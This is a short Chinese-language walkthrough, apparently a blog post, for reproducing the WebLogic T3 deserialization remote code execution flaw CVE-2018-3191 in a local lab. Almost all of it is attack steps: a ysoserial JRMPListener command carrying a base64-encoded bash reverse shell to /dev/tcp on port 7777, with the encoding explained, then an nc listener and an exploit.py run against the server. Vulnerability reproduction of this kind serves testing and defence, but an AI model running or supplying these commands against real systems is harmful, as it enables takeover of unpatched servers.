高危的WebLogic远程代码执行漏洞(CVE-2018-3191)允许未经身份验证的攻击者通过T3协议网络访问并破坏易受攻击的WebLogic Server,成功的漏洞利用可导致WebLogic Server被攻击者接管,从而造成远程代码执行。
复现环境
本地搭建weblogic 10.3.6.0
本机ip 192.168.2.195
weblogic 192.168.2.195:7001
第一步:本地执行
$ java -cp ysoserial-master-v0.0.5-g16fc48b-20.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk1Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}'
其中,“YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTk1Lzc3NzcgMD4mMQ==”是“bash -i >& /dev/tcp/192.168.2.195/7777 0>&1“的base64编码,目的是避免Runtime.getRuntime().exec() 执行过程中将特殊符号转义。
ysoserial-master-v0.0.5-g16fc48b-20.jar下载
第二步:监听本地7777端口
$ nc -lvv 7777
第三步:执行exp
$ python exploit.py 192.168.2.195 7001 weblogic-spring-jndi-10.3.6.0.jar 192.168.2.195 2222
利用漏洞使weblogic 访问远程rmi服务,并执行bash反弹命令。
weblogic-spring-jndi-10.3.6.0.jar下载